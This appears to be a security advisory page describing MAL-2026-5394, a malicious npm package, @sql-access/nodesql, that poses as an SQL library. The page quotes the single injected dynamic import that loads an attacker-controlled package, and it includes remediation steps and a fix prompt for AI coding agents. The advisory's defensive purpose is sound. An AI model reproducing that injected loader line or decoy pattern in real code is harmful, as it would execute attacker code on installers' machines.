# MAL-2026-5394: Malicious code in @sql-access/nodesql (npm)


- **Type:** Malicious package
- **Package:** `@sql-access/nodesql` (npm)
- **Published:** 9 Jun 2026
- **Also known as:** GHSA-qpx3-6fx4-259q

## What is MAL-2026-5394?

MAL-2026-5394 is a malicious package in @sql-access/nodesql, published on 9 Jun 2026. 

### Official description

@sql-access/nodesql@1.1.3 is a decoy package whose identity, README, and code do not match. The package name and keywords advertise SQL/Node functionality; the README is copy-pasted from an unrelated 'bare-stream' streaming library and points to github.com/guilderguzman/sql-link; index.js is a verbatim copy of the feross/buffer Buffer polyfill. A single statement has been injected as the first executable line of index.js: `import('@sqlite-node/createsql');`. As a result, any consumer that does `require('@sql-access/nodesql')` will asynchronously load and execute the top-level code of @sqlite-node/createsql, an unpinned (`^1.0.5`) separately-published package in an attacker-namespaced scope that has no relationship to a Buffer polyfill or to the package's stated SQL purpose. The decoy code itself performs no SQL work, no Buffer functionality is reached by the consumer in any meaningful way, and the only practical effect of installing or requiring this package is to silently pull a different, attacker-controlled module into the installer's dependency graph and execute it at import time. The combined identity confusion (name/README/code mismatch), namesquat-shaped transitive (`@sqlite-node/createsql`), unpinned caret range, and bolt-on dynamic import injected into otherwise-pristine upstream source match the documented loader/decoy supply-chain pattern.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5394?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5394 is a malicious package: @sql-access/nodesql (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5394/ (Markdown: https://insights.sbomify.com/MAL-2026-5394/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5394

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5394/
Summaries are generated and may contain mistakes; the official description above is the record.
